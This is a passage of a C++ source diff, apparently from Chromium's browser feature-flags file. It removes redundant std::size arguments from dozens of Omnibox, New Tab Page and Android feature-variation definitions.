-         std::size(kOmniboxUIMaxAutocompleteMatches4), nullptr},
-        {"5 matches", kOmniboxUIMaxAutocompleteMatches5,
-         std::size(kOmniboxUIMaxAutocompleteMatches5), nullptr},
-        {"6 matches", kOmniboxUIMaxAutocompleteMatches6,
-         std::size(kOmniboxUIMaxAutocompleteMatches6), nullptr},
-        {"7 matches", kOmniboxUIMaxAutocompleteMatches7,
-         std::size(kOmniboxUIMaxAutocompleteMatches7), nullptr},
-        {"8 matches", kOmniboxUIMaxAutocompleteMatches8,
-         std::size(kOmniboxUIMaxAutocompleteMatches8), nullptr},
-        {"9 matches", kOmniboxUIMaxAutocompleteMatches9,
-         std::size(kOmniboxUIMaxAutocompleteMatches9), nullptr},
-        {"10 matches", kOmniboxUIMaxAutocompleteMatches10,
-         std::size(kOmniboxUIMaxAutocompleteMatches10), nullptr},
-        {"12 matches", kOmniboxUIMaxAutocompleteMatches12,
-         std::size(kOmniboxUIMaxAutocompleteMatches12), nullptr}};
+        {"3 matches", kOmniboxUIMaxAutocompleteMatches3, nullptr},
+        {"4 matches", kOmniboxUIMaxAutocompleteMatches4, nullptr},
+        {"5 matches", kOmniboxUIMaxAutocompleteMatches5, nullptr},
+        {"6 matches", kOmniboxUIMaxAutocompleteMatches6, nullptr},
+        {"7 matches", kOmniboxUIMaxAutocompleteMatches7, nullptr},
+        {"8 matches", kOmniboxUIMaxAutocompleteMatches8, nullptr},
+        {"9 matches", kOmniboxUIMaxAutocompleteMatches9, nullptr},
+        {"10 matches", kOmniboxUIMaxAutocompleteMatches10, nullptr},
+        {"12 matches", kOmniboxUIMaxAutocompleteMatches12, nullptr}};
 
 #if BUILDFLAG(IS_ANDROID)
 const FeatureEntry::FeatureParam kOmniboxMiaZpsEnabledWithHistoryAblation[] = {
     {OmniboxFieldTrial::kSuppressPsuggestBackfillWithMIAParam, "true"}};
 const FeatureEntry::FeatureVariation kOmniboxMiaZpsVariations[] = {
     {"with History Ablation", kOmniboxMiaZpsEnabledWithHistoryAblation,
-     std::size(kOmniboxMiaZpsEnabledWithHistoryAblation), nullptr}};
+     nullptr}};
 #endif
 
 const FeatureEntry::FeatureParam kOmniboxDynamicMaxAutocomplete90[] = {
@@ -2323,17 +2158,17 @@
 const FeatureEntry::FeatureVariation
     kOmniboxDynamicMaxAutocompleteVariations[] = {
         {"9 suggestions if 0 or fewer URLs", kOmniboxDynamicMaxAutocomplete90,
-         std::size(kOmniboxDynamicMaxAutocomplete90), nullptr},
+         nullptr},
         {"9 suggestions if 1 or fewer URLs", kOmniboxDynamicMaxAutocomplete91,
-         std::size(kOmniboxDynamicMaxAutocomplete91), nullptr},
+         nullptr},
         {"9 suggestions if 2 or fewer URLs", kOmniboxDynamicMaxAutocomplete92,
-         std::size(kOmniboxDynamicMaxAutocomplete92), nullptr},
+         nullptr},
         {"10 suggestions if 0 or fewer URLs", kOmniboxDynamicMaxAutocomplete100,
-         std::size(kOmniboxDynamicMaxAutocomplete100), nullptr},
+         nullptr},
         {"10 suggestions if 1 or fewer URLs", kOmniboxDynamicMaxAutocomplete101,
-         std::size(kOmniboxDynamicMaxAutocomplete101), nullptr},
+         nullptr},
         {"10 suggestions if 2 or fewer URLs", kOmniboxDynamicMaxAutocomplete102,
-         std::size(kOmniboxDynamicMaxAutocomplete102), nullptr}};
+         nullptr}};
 
 const FeatureEntry::FeatureParam kRepeatableQueries_6Searches_90Days[] = {
     {"RepeatableQueriesIgnoreDuplicateVisits", "true"},
@@ -2355,14 +2190,11 @@
 };
 
 const FeatureEntry::FeatureVariation kOrganicRepeatableQueriesVariations[] = {
-    {"6+ uses, once in last 90d", kRepeatableQueries_6Searches_90Days,
-     std::size(kRepeatableQueries_6Searches_90Days), nullptr},
+    {"6+ uses, once in last 90d", kRepeatableQueries_6Searches_90Days, nullptr},
     {"12+ uses, once in last 90d", kRepeatableQueries_12Searches_90Days,
-     std::size(kRepeatableQueries_12Searches_90Days), nullptr},
-    {"6+ uses, once in last 7d", kRepeatableQueries_6Searches_7Days,
-     std::size(kRepeatableQueries_6Searches_7Days), nullptr},
-    {"12+ uses, once in last 7d", kRepeatableQueries_12Searches_7Days,
-     std::size(kRepeatableQueries_12Searches_7Days), nullptr},
+     nullptr},
+    {"6+ uses, once in last 7d", kRepeatableQueries_6Searches_7Days, nullptr},
+    {"12+ uses, once in last 7d", kRepeatableQueries_12Searches_7Days, nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpZps0RecentSearches[] = {
@@ -2374,19 +2206,18 @@
 const FeatureEntry::FeatureParam kNtpZps15RecentSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumNtpZpsRecentSearches.name, "15"}};
 const FeatureEntry::FeatureVariation kNumNtpZpsRecentSearches[] = {
-    {"No recents", kNtpZps0RecentSearches, std::size(kNtpZps0RecentSearches)},
-    {"5 recents", kNtpZps5RecentSearches, std::size(kNtpZps5RecentSearches)},
-    {"10 recents", kNtpZps10RecentSearches, std::size(kNtpZps10RecentSearches)},
-    {"15 recents", kNtpZps15RecentSearches, std::size(kNtpZps15RecentSearches)},
+    {"No recents", kNtpZps0RecentSearches},
+    {"5 recents", kNtpZps5RecentSearches},
+    {"10 recents", kNtpZps10RecentSearches},
+    {"15 recents", kNtpZps15RecentSearches},
 };
 const FeatureEntry::FeatureParam kNtpZps0TrendingSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumNtpZpsTrendingSearches.name, "0"}};
 const FeatureEntry::FeatureParam kNtpZps5TrendingSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumNtpZpsTrendingSearches.name, "5"}};
 const FeatureEntry::FeatureVariation kNumNtpZpsTrendingSearches[] = {
-    {"No trends", kNtpZps0TrendingSearches,
-     std::size(kNtpZps0TrendingSearches)},
-    {"5 trends", kNtpZps5TrendingSearches, std::size(kNtpZps5TrendingSearches)},
+    {"No trends", kNtpZps0TrendingSearches},
+    {"5 trends", kNtpZps5TrendingSearches},
 };
 const FeatureEntry::FeatureParam kWebZps0RecentSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumWebZpsRecentSearches.name, "0"}};
@@ -2397,10 +2228,10 @@
 const FeatureEntry::FeatureParam kWebZps15RecentSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumWebZpsRecentSearches.name, "15"}};
 const FeatureEntry::FeatureVariation kNumWebZpsRecentSearches[] = {
-    {"No recents", kWebZps0RecentSearches, std::size(kWebZps0RecentSearches)},
-    {"5 recents", kWebZps5RecentSearches, std::size(kWebZps5RecentSearches)},
-    {"10 recents", kWebZps10RecentSearches, std::size(kWebZps10RecentSearches)},
-    {"15 recents", kWebZps15RecentSearches, std::size(kWebZps15RecentSearches)},
+    {"No recents", kWebZps0RecentSearches},
+    {"5 recents", kWebZps5RecentSearches},
+    {"10 recents", kWebZps10RecentSearches},
+    {"15 recents", kWebZps15RecentSearches},
 };
 const FeatureEntry::FeatureParam kWebZps0RelatedSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumWebZpsRelatedSearches.name, "0"}};
@@ -2411,12 +2242,10 @@
 const FeatureEntry::FeatureParam kWebZps15RelatedSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumWebZpsRelatedSearches.name, "15"}};
 const FeatureEntry::FeatureVariation kNumWebZpsRelatedSearches[] = {
-    {"No related", kWebZps0RelatedSearches, std::size(kWebZps0RelatedSearches)},
-    {"5 related", kWebZps5RelatedSearches, std::size(kWebZps5RelatedSearches)},
-    {"10 related", kWebZps10RelatedSearches,
-     std::size(kWebZps10RelatedSearches)},
-    {"15 related", kWebZps15RelatedSearches,
-     std::size(kWebZps15RelatedSearches)},
+    {"No related", kWebZps0RelatedSearches},
+    {"5 related", kWebZps5RelatedSearches},
+    {"10 related", kWebZps10RelatedSearches},
+    {"15 related", kWebZps15RelatedSearches},
 };
 const FeatureEntry::FeatureParam kWebZps0MostVisitedUrls[] = {
     {OmniboxFieldTrial::kOmniboxNumWebZpsMostVisitedUrls.name, "0"}};
@@ -2427,12 +2256,10 @@
 const FeatureEntry::FeatureParam kWebZps15MostVisitedUrls[] = {
     {OmniboxFieldTrial::kOmniboxNumWebZpsMostVisitedUrls.name, "15"}};
 const FeatureEntry::FeatureVariation kNumWebZpsMostVisitedUrls[] = {
-    {"No related", kWebZps0MostVisitedUrls, std::size(kWebZps0MostVisitedUrls)},
-    {"5 related", kWebZps5MostVisitedUrls, std::size(kWebZps5MostVisitedUrls)},
-    {"10 related", kWebZps10MostVisitedUrls,
-     std::size(kWebZps10MostVisitedUrls)},
-    {"15 related", kWebZps15MostVisitedUrls,
-     std::size(kWebZps15MostVisitedUrls)},
+    {"No related", kWebZps0MostVisitedUrls},
+    {"5 related", kWebZps5MostVisitedUrls},
+    {"10 related", kWebZps10MostVisitedUrls},
+    {"15 related", kWebZps15MostVisitedUrls},
 };
 const FeatureEntry::FeatureParam kSrpZps0RecentSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumSrpZpsRecentSearches.name, "0"}};
@@ -2443,10 +2270,10 @@
 const FeatureEntry::FeatureParam kSrpZps15RecentSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumSrpZpsRecentSearches.name, "15"}};
 const FeatureEntry::FeatureVariation kNumSrpZpsRecentSearches[] = {
-    {"No recents", kSrpZps0RecentSearches, std::size(kSrpZps0RecentSearches)},
-    {"5 recents", kSrpZps5RecentSearches, std::size(kSrpZps5RecentSearches)},
-    {"10 recents", kSrpZps10RecentSearches, std::size(kSrpZps10RecentSearches)},
-    {"15 recents", kSrpZps15RecentSearches, std::size(kSrpZps15RecentSearches)},
+    {"No recents", kSrpZps0RecentSearches},
+    {"5 recents", kSrpZps5RecentSearches},
+    {"10 recents", kSrpZps10RecentSearches},
+    {"15 recents", kSrpZps15RecentSearches},
 };
 const FeatureEntry::FeatureParam kSrpZps0RelatedSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumSrpZpsRelatedSearches.name, "0"}};
@@ -2457,12 +2284,10 @@
 const FeatureEntry::FeatureParam kSrpZps15RelatedSearches[] = {
     {OmniboxFieldTrial::kOmniboxNumSrpZpsRelatedSearches.name, "15"}};
 const FeatureEntry::FeatureVariation kNumSrpZpsRelatedSearches[] = {
-    {"No related", kSrpZps0RelatedSearches, std::size(kSrpZps0RelatedSearches)},
-    {"5 related", kSrpZps5RelatedSearches, std::size(kSrpZps5RelatedSearches)},
-    {"10 related", kSrpZps10RelatedSearches,
-     std::size(kSrpZps10RelatedSearches)},
-    {"15 related", kSrpZps15RelatedSearches,
-     std::size(kSrpZps15RelatedSearches)},
+    {"No related", kSrpZps0RelatedSearches},
+    {"5 related", kSrpZps5RelatedSearches},
+    {"10 related", kSrpZps10RelatedSearches},
+    {"15 related", kSrpZps15RelatedSearches},
 };
 
 #if !BUILDFLAG(IS_ANDROID)
@@ -2470,8 +2295,7 @@
     {"tab_groups_focusing_pinned_tabs", "true"}};
 
 const FeatureEntry::FeatureVariation kTabGroupsFocusingVariations[] = {
-    {" - show pinned tabs", kTabGroupsFocusingPinnedTabs,
-     std::size(kTabGroupsFocusingPinnedTabs)},
+    {" - show pinned tabs", kTabGroupsFocusingPinnedTabs},
 };
 #endif
 
@@ -2479,8 +2303,7 @@
 const FeatureEntry::FeatureParam kNtpCalendarModuleFakeData[] = {
     {ntp_features::kNtpCalendarModuleDataParam, "fake"}};
 const FeatureEntry::FeatureVariation kNtpCalendarModuleVariations[] = {
-    {"- Fake Data", kNtpCalendarModuleFakeData,
-     std::size(kNtpCalendarModuleFakeData), nullptr},
+    {"- Fake Data", kNtpCalendarModuleFakeData, nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpDriveModuleFakeData[] = {
@@ -2488,10 +2311,8 @@
 const FeatureEntry::FeatureParam kNtpDriveModuleManagedUsersOnly[] = {
     {ntp_features::kNtpDriveModuleManagedUsersOnlyParam, "true"}};
 const FeatureEntry::FeatureVariation kNtpDriveModuleVariations[] = {
-    {"- Fake Data", kNtpDriveModuleFakeData, std::size(kNtpDriveModuleFakeData),
-     nullptr},
-    {"- Managed Users Only", kNtpDriveModuleManagedUsersOnly,
-     std::size(kNtpDriveModuleManagedUsersOnly), nullptr},
+    {"- Fake Data", kNtpDriveModuleFakeData, nullptr},
+    {"- Managed Users Only", kNtpDriveModuleManagedUsersOnly, nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpOutlookCalendarModuleFakeData[] = {
@@ -2500,18 +2321,16 @@
     kNtpOutlookCalendarModuleFakeAttachmentsData[] = {
         {ntp_features::kNtpOutlookCalendarModuleDataParam, "fake-attachments"}};
 const FeatureEntry::FeatureVariation kNtpOutlookCalendarModuleVariations[] = {
-    {"- Fake Data", kNtpOutlookCalendarModuleFakeData,
-     std::size(kNtpOutlookCalendarModuleFakeData), nullptr},
+    {"- Fake Data", kNtpOutlookCalendarModuleFakeData, nullptr},
     {"- Fake Attachments Data", kNtpOutlookCalendarModuleFakeAttachmentsData,
-     std::size(kNtpOutlookCalendarModuleFakeAttachmentsData), nullptr},
+     nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpMiddleSlotPromoDismissalFakeData[] = {
     {ntp_features::kNtpMiddleSlotPromoDismissalParam, "fake"}};
 const FeatureEntry::FeatureVariation kNtpMiddleSlotPromoDismissalVariations[] =
     {
-        {"- Fake Data", kNtpMiddleSlotPromoDismissalFakeData,
-         std::size(kNtpMiddleSlotPromoDismissalFakeData), nullptr},
+        {"- Fake Data", kNtpMiddleSlotPromoDismissalFakeData, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -2529,26 +2348,20 @@
 
 const FeatureEntry::FeatureVariation kNtpRealboxCr23ThemingVariations[] = {
     {" - Steady state shadow",
-     kNtpRealboxCr23ShadowExpandedStateBgMatchesOmnibox,
-     std::size(kNtpRealboxCr23ShadowExpandedStateBgMatchesOmnibox), nullptr},
+     kNtpRealboxCr23ShadowExpandedStateBgMatchesOmnibox, nullptr},
     {" - No steady state shadow + Dark mode background color matches steady"
      "state",
-     kNtpRealboxCr23NoShadowExpandedStateBgMatchesSteadyState,
-     std::size(kNtpRealboxCr23NoShadowExpandedStateBgMatchesSteadyState),
-     nullptr},
+     kNtpRealboxCr23NoShadowExpandedStateBgMatchesSteadyState, nullptr},
     {" -  Steady state shadow + Dark mode background color matches steady "
      "state",
-     kNtpRealboxCr23ShadowExpandedStateBgMatchesSteadyState,
-     std::size(kNtpRealboxCr23ShadowExpandedStateBgMatchesSteadyState),
-     nullptr},
+     kNtpRealboxCr23ShadowExpandedStateBgMatchesSteadyState, nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpSafeBrowsingModuleFastCooldown[] = {
     {ntp_features::kNtpSafeBrowsingModuleCooldownPeriodDaysParam, "0.001"},
     {ntp_features::kNtpSafeBrowsingModuleCountMaxParam, "1"}};
 const FeatureEntry::FeatureVariation kNtpSafeBrowsingModuleVariations[] = {
-    {"(Fast Cooldown)", kNtpSafeBrowsingModuleFastCooldown,
-     std::size(kNtpSafeBrowsingModuleFastCooldown), nullptr},
+    {"(Fast Cooldown)", kNtpSafeBrowsingModuleFastCooldown, nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpSharepointModuleTrendingInsights[] = {
@@ -2563,16 +2376,13 @@
     {"NtpSharepointModuleDataParam", "combined"}};
 
 const FeatureEntry::FeatureVariation kNtpSharepointModuleVariations[] = {
-    {"- Trending", kNtpSharepointModuleTrendingInsights,
-     std::size(kNtpSharepointModuleTrendingInsights), nullptr},
-    {"- Recently Used and Shared", kNtpSharepointModuleNonInsights,
-     std::size(kNtpSharepointModuleNonInsights), nullptr},
-    {"- Fake Trending Data", kNtpSharepointModuleTrendingFakeData,
-     std::size(kNtpSharepointModuleTrendingFakeData), nullptr},
+    {"- Trending", kNtpSharepointModuleTrendingInsights, nullptr},
+    {"- Recently Used and Shared", kNtpSharepointModuleNonInsights, nullptr},
+    {"- Fake Trending Data", kNtpSharepointModuleTrendingFakeData, nullptr},
     {"- Fake Recently Used and Shared", kNtpSharepointModuleNonInsightsFakeData,
-     std::size(kNtpSharepointModuleNonInsightsFakeData), nullptr},
+     nullptr},
     {"- Combined Suggestions", kNtpSharepointModuleCombinedSuggestions,
-     std::size(kNtpSharepointModuleCombinedSuggestions), nullptr}};
+     nullptr}};
 
 const FeatureEntry::FeatureParam kNtpTabGroupsModuleFakeData[] = {
     {ntp_features::kNtpTabGroupsModuleDataParam, "Fake Data"}};
@@ -2580,10 +2390,8 @@
     {ntp_features::kNtpTabGroupsModuleDataParam, "Fake Zero State"}};
 
 const FeatureEntry::FeatureVariation kNtpTabGroupsModuleVariations[] = {
-    {"- Fake Data", kNtpTabGroupsModuleFakeData,
-     std::size(kNtpTabGroupsModuleFakeData), nullptr},
-    {"- Fake Zero State", kNtpTabGroupsModuleFakeZeroState,
-     std::size(kNtpTabGroupsModuleFakeData), nullptr},
+    {"- Fake Data", kNtpTabGroupsModuleFakeData, nullptr},
+    {"- Fake Zero State", kNtpTabGroupsModuleFakeZeroState, nullptr},
 };
 #endif  // !BUILDFLAG(IS_ANDROID)
 
@@ -2592,10 +2400,8 @@
 const FeatureEntry::FeatureParam kDataSharingShowSendFeedbackEnabled[] = {
     {"show_send_feedback", "true"}};
 const FeatureEntry::FeatureVariation kDatasharingVariations[] = {
-    {"with feedback", kDataSharingShowSendFeedbackEnabled,
-     std::size(kDataSharingShowSendFeedbackEnabled)},
-    {"without feedback", kDataSharingShowSendFeedbackDisabled,
-     std::size(kDataSharingShowSendFeedbackEnabled)}};
+    {"with feedback", kDataSharingShowSendFeedbackEnabled},
+    {"without feedback", kDataSharingShowSendFeedbackDisabled}};
 
 #if BUILDFLAG(IS_ANDROID)
 
@@ -2609,14 +2415,10 @@
     {{"contextual_search_minimum_page_height_dp", "600"}};
 const FeatureEntry::FeatureVariation
     kContextualSearchSuppressShortViewVariations[] = {
-        {"(300 dp)", kContextualSearchSuppressShortViewWith300Dp,
-         std::size(kContextualSearchSuppressShortViewWith300Dp), nullptr},
-        {"(400 dp)", kContextualSearchSuppressShortViewWith400Dp,
-         std::size(kContextualSearchSuppressShortViewWith400Dp), nullptr},
-        {"(500 dp)", kContextualSearchSuppressShortViewWith500Dp,
-         std::size(kContextualSearchSuppressShortViewWith500Dp), nullptr},
-        {"(600 dp)", kContextualSearchSuppressShortViewWith600Dp,
-         std::size(kContextualSearchSuppressShortViewWith600Dp), nullptr},
+        {"(300 dp)", kContextualSearchSuppressShortViewWith300Dp, nullptr},
+        {"(400 dp)", kContextualSearchSuppressShortViewWith400Dp, nullptr},
+        {"(500 dp)", kContextualSearchSuppressShortViewWith500Dp, nullptr},
+        {"(600 dp)", kContextualSearchSuppressShortViewWith600Dp, nullptr},
 };
 
 const FeatureEntry::FeatureParam kUseRunningCompactDelay_default[] = {
@@ -2625,10 +2427,8 @@
     {"running_compact_delay_after_tasks", "2"}};
 
 const FeatureEntry::FeatureVariation kUseRunningCompactDelayOptions[] = {
-    {"default", kUseRunningCompactDelay_default,
-     std::size(kUseRunningCompactDelay_default), nullptr},
-    {"immediate", kUseRunningCompactDelay_immediate,
-     std::size(kUseRunningCompactDelay_immediate), nullptr}};
+    {"default", kUseRunningCompactDelay_default, nullptr},
+    {"immediate", kUseRunningCompactDelay_immediate, nullptr}};
 
 const FeatureEntry::FeatureParam kJumpStartOmnibox1Minute[] = {
     {"jump_start_min_away_time_minutes", "1"},
@@ -2644,14 +2444,10 @@
     {"jump_start_cover_recently_visited_page", "true"}};
 
 const FeatureEntry::FeatureVariation kJumpStartOmniboxVariations[] = {
-    {"(after 1min)", kJumpStartOmnibox1Minute,
-     std::size(kJumpStartOmnibox1Minute)},
-    {"(after 15min)", kJumpStartOmnibox15Minutes,
-     std::size(kJumpStartOmnibox15Minutes)},
-    {"(after 30min)", kJumpStartOmnibox30Minutes,
-     std::size(kJumpStartOmnibox30Minutes)},
-    {"(after 60min)", kJumpStartOmnibox60Minutes,
-     std::size(kJumpStartOmnibox60Minutes)}};
+    {"(after 1min)", kJumpStartOmnibox1Minute},
+    {"(after 15min)", kJumpStartOmnibox15Minutes},
+    {"(after 30min)", kJumpStartOmnibox30Minutes},
+    {"(after 60min)", kJumpStartOmnibox60Minutes}};
 
 #endif  // BUILDFLAG(IS_ANDROID)
 
@@ -2661,8 +2457,7 @@
 const FeatureEntry::FeatureVariation
     kReportNotificationContentDetectionDataVariations[] = {
         {"with reporting rate 100",
-         kReportNotificationContentDetectionDataRate100,
-         std::size(kReportNotificationContentDetectionDataRate100), nullptr},
+         kReportNotificationContentDetectionDataRate100, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -2680,13 +2475,10 @@
 const FeatureEntry::FeatureVariation
     kResamplingScrollEventsExperimentalPredictionVariations[] = {
         {"frames 0.25", kResamplingScrollEventsPredictionFramesBasedEnabledV1,
-         std::size(kResamplingScrollEventsPredictionFramesBasedEnabledV1),
          nullptr},
         {"frames 0.375", kResamplingScrollEventsPredictionFramesBasedEnabledV2,
-         std::size(kResamplingScrollEventsPredictionFramesBasedEnabledV2),
          nullptr},
         {"frames 0.5", kResamplingScrollEventsPredictionFramesBasedEnabledV3,
-         std::size(kResamplingScrollEventsPredictionFramesBasedEnabledV3),
          nullptr},
 };
 
@@ -2701,13 +2493,9 @@
 const FeatureEntry::FeatureVariation
     kShowWarningsForSuspiciousNotificationsVariations[] = {
         {"with suspicious score 70",
-         kShowWarningsForSuspiciousNotificationsScoreThreshold70,
-         std::size(kShowWarningsForSuspiciousNotificationsScoreThreshold70),
-         nullptr},
+         kShowWarningsForSuspiciousNotificationsScoreThreshold70, nullptr},
         {"with suspicious score 70 and swapped buttons",
          kShowWarningsForSuspiciousNotificationsScoreThreshold70SwapButtons,
-         std::size(
-             kShowWarningsForSuspiciousNotificationsScoreThreshold70SwapButtons),
          nullptr},
 };
 
@@ -2728,24 +2516,18 @@
     {"start_surface_return_time_seconds", "3600"},
     {"start_surface_return_time_on_tablet_seconds", "3600"}};
 const FeatureEntry::FeatureVariation kStartSurfaceReturnTimeVariations[] = {
-    {"Immediate", kStartSurfaceReturnTime_Immediate,
-     std::size(kStartSurfaceReturnTime_Immediate), nullptr},
-    {"10 seconds", kStartSurfaceReturnTime_10Seconds,
-     std::size(kStartSurfaceReturnTime_10Seconds), nullptr},
-    {"1 minute", kStartSurfaceReturnTime_1Minute,
-     std::size(kStartSurfaceReturnTime_1Minute), nullptr},
-    {"5 minute", kStartSurfaceReturnTime_5Minute,
-     std::size(kStartSurfaceReturnTime_5Minute), nullptr},
-    {"60 minute", kStartSurfaceReturnTime_60Minute,
-     std::size(kStartSurfaceReturnTime_60Minute), nullptr},
+    {"Immediate", kStartSurfaceReturnTime_Immediate, nullptr},
+    {"10 seconds", kStartSurfaceReturnTime_10Seconds, nullptr},
+    {"1 minute", kStartSurfaceReturnTime_1Minute, nullptr},
+    {"5 minute", kStartSurfaceReturnTime_5Minute, nullptr},
+    {"60 minute", kStartSurfaceReturnTime_60Minute, nullptr},
 };
 
 const FeatureEntry::FeatureParam kMagicStackAndroid_show_all_modules[] = {
     {"show_all_modules", "true"}};
 
 const FeatureEntry::FeatureVariation kMagicStackAndroidVariations[] = {
-    {"Show all modules", kMagicStackAndroid_show_all_modules,
-     std::size(kMagicStackAndroid_show_all_modules), nullptr},
+    {"Show all modules", kMagicStackAndroid_show_all_modules, nullptr},
 };
 
 const FeatureEntry::FeatureParam kDefaultBrowserPromoShowArm[] = {
@@ -2792,27 +2574,21 @@
 const FeatureEntry::FeatureVariation kEphemeralCardRankerCardOverrideOptions[] =
     {
         {"- Force show default browser promo", kDefaultBrowserPromoShowArm,
-         std::size(kDefaultBrowserPromoShowArm), nullptr},
+         nullptr},
         {"- Force hide default browser promo", kDefaultBrowserPromoHideArm,
-         std::size(kDefaultBrowserPromoHideArm), nullptr},
-        {"- Force show tab group promo", kTabGroupPromoShowArm,
-         std::size(kTabGroupPromoShowArm), nullptr},
-        {"- Force hide tab group promo", kTabGroupPromoHideArm,
-         std::size(kTabGroupPromoHideArm), nullptr},
+         nullptr},
+        {"- Force show tab group promo", kTabGroupPromoShowArm, nullptr},
+        {"- Force hide tab group promo", kTabGroupPromoHideArm, nullptr},
         {"- Force show tab group sync promo", kTabGroupSyncPromoShowArm,
-         std::size(kTabGroupSyncPromoShowArm), nullptr},
+         nullptr},
         {"- Force hide tab group sync promo", kTabGroupSyncPromoHideArm,
-         std::size(kTabGroupSyncPromoHideArm), nullptr},
-        {"- Force show quick delete promo", kQuickDeletePromoShowArm,
-         std::size(kQuickDeletePromoShowArm), nullptr},
-        {"- Force hide quick delete promo", kQuickDeletePromoHideArm,
-         std::size(kQuickDeletePromoHideArm), nullptr},
+         nullptr},
+        {"- Force show quick delete promo", kQuickDeletePromoShowArm, nullptr},
+        {"- Force hide quick delete promo", kQuickDeletePromoHideArm, nullptr},
         {"- Force show tips notifications promo",
-         kTipsNotificationsPromoShowArm,
-         std::size(kTipsNotificationsPromoShowArm), nullptr},
+         kTipsNotificationsPromoShowArm, nullptr},
         {"- Force hide tips notifications promo",
-         kTipsNotificationsPromoHideArm,
-         std::size(kTipsNotificationsPromoHideArm), nullptr},
+         kTipsNotificationsPromoHideArm, nullptr},
 };
 #endif  // BUILDFLAG(IS_ANDROID)
 #if BUILDFLAG(IS_ANDROID)
@@ -2820,8 +2596,7 @@
     {"use_new_service", "true"}};
 const FeatureEntry::FeatureVariation
     kSearchResumptionModuleAndroidVariations[] = {
-        {"Use New Service", kSearchResumption_use_new_service,
-         std::size(kSearchResumption_use_new_service), nullptr},
+        {"Use New Service", kSearchResumption_use_new_service, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -2847,11 +2622,11 @@
 };
 const FeatureEntry::FeatureVariation kMostVisitedTilesReselectVariations[] = {
     {"Partial match Arm 1", kMostVitedTilesReselect_enable_partial_match_arm1,
-     std::size(kMostVitedTilesReselect_enable_partial_match_arm1), nullptr},
+     nullptr},
     {"Partial match Arm 2", kMostVitedTilesReselect_enable_partial_match_arm2,
-     std::size(kMostVitedTilesReselect_enable_partial_match_arm2), nullptr},
+     nullptr},
     {"Partial match Arm 3", kMostVitedTilesReselect_enable_partial_match_arm3,
-     std::size(kMostVitedTilesReselect_enable_partial_match_arm3), nullptr},
+     nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -2863,9 +2638,7 @@
 const FeatureEntry::FeatureVariation
     kNotificationPermissionRationaleVariations[] = {
         {"- Show rationale UI on next startup",
-         kNotificationPermissionRationale_show_dialog_next_start,
-         std::size(kNotificationPermissionRationale_show_dialog_next_start),
-         nullptr},
+         kNotificationPermissionRationale_show_dialog_next_start, nullptr},
 };
 
 const FeatureEntry::FeatureParam kWebFeedAwareness_new_animation[] = {
@@ -2877,12 +2650,10 @@
     {"awareness_style", "IPH"}};
 
 const FeatureEntry::FeatureVariation kWebFeedAwarenessVariations[] = {
-    {"new animation", kWebFeedAwareness_new_animation,
-     std::size(kWebFeedAwareness_new_animation), nullptr},
+    {"new animation", kWebFeedAwareness_new_animation, nullptr},
     {"new animation rate limit off", kWebFeedAwareness_new_animation_no_limit,
-     std::size(kWebFeedAwareness_new_animation_no_limit), nullptr},
-    {"IPH and dot", kWebFeedAwareness_IPH, std::size(kWebFeedAwareness_IPH),
      nullptr},
+    {"IPH and dot", kWebFeedAwareness_IPH, nullptr},
 };
 
 #endif  // BUILDFLAG(IS_ANDROID)
@@ -2911,18 +2682,13 @@
 const FeatureEntry::FeatureVariation
     kPhotoPickerAdoptionStudyFeatureVariations[] = {
         {"(Android Picker w/ACTION_GET_CONTENT)",
-         kPhotoPickerAdoptionStudyActionGetContent,
-         std::size(kPhotoPickerAdoptionStudyActionGetContent), nullptr},
+         kPhotoPickerAdoptionStudyActionGetContent, nullptr},
         {"(Android Picker w/ACTION_PICK_IMAGES)",
-         kPhotoPickerAdoptionStudyActionPickImages,
-         std::size(kPhotoPickerAdoptionStudyActionPickImages), nullptr},
+         kPhotoPickerAdoptionStudyActionPickImages, nullptr},
         {"(Android Picker w/ACTION_PICK_IMAGES Plus)",
-         kPhotoPickerAdoptionStudyActionPickImagesPlus,
-         std::size(kPhotoPickerAdoptionStudyActionPickImagesPlus), nullptr},
+         kPhotoPickerAdoptionStudyActionPickImagesPlus, nullptr},
         {"(Chrome Picker without Browse)",
-         kPhotoPickerAdoptionStudyChromePickerWithoutBrowse,
-         std::size(kPhotoPickerAdoptionStudyChromePickerWithoutBrowse),
-         nullptr}};
+         kPhotoPickerAdoptionStudyChromePickerWithoutBrowse, nullptr}};
 
 const FeatureEntry::FeatureParam
     kAndroidAppIntegrationModule_ForceCardShown_Pixel[] = {
@@ -2935,12 +2701,9 @@
 
 const FeatureEntry::FeatureVariation kAndroidAppIntegrationModuleVariations[] =
     {{"Force to show Pixel's notice card",
-      kAndroidAppIntegrationModule_ForceCardShown_Pixel,
-      std::size(kAndroidAppIntegrationModule_ForceCardShown_Pixel), nullptr},
+      kAndroidAppIntegrationModule_ForceCardShown_Pixel, nullptr},
      {"Force to show opt in card",
-      kAndroidAppIntegrationModule_ForceCardShown_NonPixel,
-      std::size(kAndroidAppIntegrationModule_ForceCardShown_NonPixel),
-      nullptr}};
+      kAndroidAppIntegrationModule_ForceCardShown_NonPixel, nullptr}};
 
 const FeatureEntry::FeatureParam kNewTabPageCustomizationV2_ShowColorPicker[] =
     {{"show_color_picker", "true"}};
@@ -2954,14 +2717,11 @@
         {"show_logo_and_search_box", "true"}};
 
 const FeatureEntry::FeatureVariation kNewTabPageCustomizationV2Variations[] = {
-    {"Show color picker", kNewTabPageCustomizationV2_ShowColorPicker,
-     std::size(kNewTabPageCustomizationV2_ShowColorPicker), nullptr},
